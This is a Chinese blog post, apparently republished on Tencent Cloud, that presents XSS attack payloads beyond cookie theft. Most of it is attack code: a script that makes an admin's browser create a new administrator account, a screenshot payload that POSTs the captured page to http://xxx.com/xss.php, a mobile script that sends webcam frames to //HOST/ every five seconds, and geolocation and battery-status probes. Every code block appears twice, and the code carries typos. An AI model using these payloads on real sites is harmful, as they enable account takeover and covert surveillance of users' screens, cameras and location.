XSS攻击另类玩法

本文原作者:SecJack

天就来讲一下大家都熟悉的 xss漏洞的攻击利用。相信大家对xss已经很熟悉了,但是很多安全人员的意识里 xss漏洞危害只有弹窗或者窃取cookie。但是xss还有更多的花式玩法,今天将介绍几种。

1.  xss攻击添加管理员

后台触发存储型XSS,网站设置http-only,窃取的cookie无效。那么如何在这种情况下利用xss漏洞。

无法获取cookie,但是我们可以利用xss漏洞,以管理员的权限,添加一个新的管理员。没错,就是让管理员给我们加一个高权限账号。

这里我们会用到 JavaScript和Ajax 技术。 利用xmlhttp 发送一个http请求,在后台发送一个添加管理员的post请求。

var request = false;

if(window.XMLHttpRequest) {

    request = new.XMLHttpRequest();

    if(request.overrideMimeType) {

        request.overrideMimeType('text/html');

    }

} else if(Window.ActiveXObject) {

    var versions = {'Microsoft.XMLHTTP','MSXML_XMLHTTP','Microsoft.XMLHTTP','Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0','Msxml2.XMLHTTP.4.0','Msxml2.XMLHTTP.3.0','Msxml2.XMLHTTP'};

    for(var i=0; i<versions.length; i ++){

        try{

            request = new ActiveXObject(versions<i>);

        }catch(e){}

}

}

xmlhttp = request;

add_admin();

function add_admin(){

    var url = "/admin/admin_add_user.php";  //添加用户请求地址

    var params = "username=xss&amp;passwod=123456&amp;email=xss@xss.com&amp;submit=1" //添加用户post数据

    xmlhttp.open("POST",url,true);

    xmlhttp.setRequstHeader("Content-type","application/x-www-form-urlencoded")

    xmlhttp.setRequstHeader("Content-length",params.length);

    xmlhttp.setRequstHeader("Connection","close")

    }</i>

var request = false;

if(window.XMLHttpRequest) {

    request = new.XMLHttpRequest();

    if(request.overrideMimeType) {

        request.overrideMimeType('text/html');

    }

} else if(Window.ActiveXObject) {

    var versions = {'Microsoft.XMLHTTP','MSXML_XMLHTTP','Microsoft.XMLHTTP','Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0','Msxml2.XMLHTTP.4.0','Msxml2.XMLHTTP.3.0','Msxml2.XMLHTTP'};

    for(var i=0; i&amp;lt;versions.length; i ++){

        try{

            request = new ActiveXObject(versions<i>);

        }catch(e){}

}

}

xmlhttp = request;

add_admin();

function add_admin(){

    var url = "/admin/admin_add_user.php";  //添加用户请求地址

    var params = "username=xss&amp;passwod=123456&amp;email=xss@xss.com&amp;submit=1" //添加用户post数据

    xmlhttp.open("POST",url,true);

    xmlhttp.setRequstHeader("Content-type","application/x-www-form-urlencoded")

    xmlhttp.setRequstHeader("Content-length",params.length);

    xmlhttp.setRequstHeader("Connection","close")

    }</i>

2, xss截取客户的屏幕

现在随着技术的进步,前端技术支持的面非常广泛。xss漏洞可以利用html5的 canvas 来进行屏幕的截屏功能,类似于远程控制木马查看对方屏幕功能。这个可以大大的提高对于进一步入侵的信息收集。废话不说直接上代码。

这里需要用到一个js库 html2canvas.js

document.write("&amp;lt;script src="html2canvas.js\&amp;gt;&amp;lt;\/script&amp;gt;");   

window.onload=function(){

        html2canvas(document.body, {

        onrendered: function(canvas) {

//下面开始把抓取到的屏幕图片代码传输和接收,由于代码非常的长,只能使用post

xhr=function(){

        var request = false;

        if(window.XMLHttpRequest){

                request = new XMLHttpRequest();

        }else if (window.ActiveXObject){

                try{

                        request = new window.ActiveXObject('Microsoft.XMLHTTP');

                }catch(e){

                }

        }

        return request;

}();

request = function(method,src,argv,content_type){

        xhr.open(method,src,false);

        if(method=='POST')xhr.setRequestHeader('Content-type',content_type);

        xhr.send(argv);                                         //发送POST数据

        return xhr.responseText;

};

attack_a = function(){

        var src         = "http://xxx.com/xss.php?";                 //post接收地址

        var argv_0      = "'&amp;screenshot="+canvas.toDataURL();    //post字段名称为screenshot

        request("POST",src,argv_0,"application/x-www-form-urlencoded");

};

attack_a();

                                  }

                                });

                        }

document.write("&amp;lt;script src="html2canvas.js\&amp;gt;&amp;lt;\/script&amp;gt;");   

window.onload=function(){

        html2canvas(document.body, {

        onrendered: function(canvas) {

//下面开始把抓取到的屏幕图片代码传输和接收,由于代码非常的长,只能使用post

xhr=function(){

        var request = false;

        if(window.XMLHttpRequest){

                request = new XMLHttpRequest();

        }else if (window.ActiveXObject){

                try{

                        request = new window.ActiveXObject('Microsoft.XMLHTTP');

                }catch(e){

                }

        }

        return request;

}();

request = function(method,src,argv,content_type){

        xhr.open(method,src,false);

        if(method=='POST')xhr.setRequestHeader('Content-type',content_type);

        xhr.send(argv);                                         //发送POST数据

        return xhr.responseText;

};

attack_a = function(){

        var src         = "http://xxx.com/xss.php?";                 //post接收地址

        var argv_0      = "'&amp;screenshot="+canvas.toDataURL();    //post字段名称为screenshot

        request("POST",src,argv_0,"application/x-www-form-urlencoded");

};

attack_a();

                                  }

                                });

                        }

上面的代码是针对 pc端的截屏,手机端的截屏xss代码有所不同

&amp;lt;script&amp;gt;

d=document;

v=d.createElement('video');

c=d.createElement('canvas');

c.width=640;

c.height=480;

navigator.webkitGetUserMedia({'video':true},function(s){

v.src=URL.createObjectURL(s);v.play()},function(){});

c2=c.getContext('2d');

x='c2.drawImage(v,0,0,640,480);fetch("//HOST/"+c2.canvas.toDataURL())';

setInterval(x,5000);

&amp;lt;/script&amp;gt;

&amp;lt;script&amp;gt;

d=document;

v=d.createElement('video');

c=d.createElement('canvas');

c.width=640;

c.height=480;

navigator.webkitGetUserMedia({'video':true},function(s){

v.src=URL.createObjectURL(s);v.play()},function(){});

c2=c.getContext('2d');

x='c2.drawImage(v,0,0,640,480);fetch("//HOST/"+c2.canvas.toDataURL())';

setInterval(x,5000);

&amp;lt;/script&amp;gt;

这两种服务端获取到的post数据包是 base64格式的 ,我们只要进行转码即可看到对方的屏幕截图。

3.xss对移动端的攻击

现在越来越多的人喜欢用手机查看网页,xss针对手机端的支持也很友好。

这里只针对手机端Firefox浏览器说明。

xss获取对方经纬度代码

&amp;lt;script&amp;gt;

navigator.geolocation.getCurrentPosition(function(p){

alert('Latitude:'+p.coords.latitude+',Longitude:'+

p.coords.longitude+',Altitude:'+p.coords.altitude);})

&amp;lt;/script&amp;gt;

&amp;lt;script&amp;gt;

navigator.geolocation.getCurrentPosition(function(p){

alert('Latitude:'+p.coords.latitude+',Longitude:'+

p.coords.longitude+',Altitude:'+p.coords.altitude);})

&amp;lt;/script&amp;gt;

xss获取电池状态的代码,这里需要用到JavaScript Battery API

&amp;lt;svg onload=alert(navigator.battery.level)&amp;gt;

&amp;lt;svg onload=alert(navigator.battery.dischargingTime)&amp;gt;

&amp;lt;svg onload=alert(navigator.battery.charging)&amp;gt;

&amp;lt;svg onload=alert(navigator.battery.level)&amp;gt;

&amp;lt;svg onload=alert(navigator.battery.dischargingTime)&amp;gt;

&amp;lt;svg onload=alert(navigator.battery.charging)&amp;gt;

更多xss猥琐玩法欢迎交流,文章若有错误请留言告知~

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏FreeBuf

树莓派随身工具箱:中间人劫持获取控制权

上文讲解了树莓派随身工具箱的环境搭建,这段时间又对其进行了一些优化,主要是从便携美观上面改进。同时,在实际使用中发现了一些问题,并做了小小的改动。

33830
来自专栏移动端周边技术扩展

移动端开发人员调试H5

21430
来自专栏企鹅号快讯

优化Profiler中Others的耗时……

我们将从日常技术交流中精选若干个开发相关的问题,建议阅读时间15分钟,认真读完必有收获。如果您有任何独到的见解或者发现也欢迎联系我们,一起探讨。 内存 Q:我的...

23390
来自专栏Golang语言社区

从零开始创建一个基于Go语言的web service

20个小时的时间能干什么?也许浑浑噩噩就过去了,也许能看一些书、做一些工作、读几篇博客、再写个一两篇博客,等等。而黑客马拉松(HackAthon),其实是一种自...

53690
来自专栏Angular&服务

关于做angular4引入echarts图表

NgxEchartsService 是全局 echarts 对象的包装器。您可以直接获取本机echarts对象或使用包装器方法。例如:

94940
来自专栏QQ音乐技术团队的专栏

Android O 新特性和行为变更总结

多窗口是 Android 7.1 之后引入的(关于多窗口适配需要注意的地方,但是趁此机会了解一下 Android O 版本的新特性也不错,而且 Google I...

79210
来自专栏FreeBuf

极客DIY:只用两步教你制作一款可编程键盘

对于那些工作时需要与许多组合键打交道的人(比如经常使用Photoshop的人)来说,一款可编程键盘无疑是十分实用的。 本期的DIY将为大家带来一款可编程键盘,其...

26260
来自专栏我是攻城师

记一次log4j日志文件小事故

35750
来自专栏ShaoYL

iOS定位--CoreLocation框架

455100
来自专栏一个会写诗的程序员的博客

yarn详细入门教程Yarn简介一键安装常用命令

Yarn 是 Facebook, Google, Exponent 和 Tilde 开发的一款新的 JavaScript 包管理工具。就像我们可以从官方文档了解...

56240

扫码关注云+社区

领取腾讯云代金券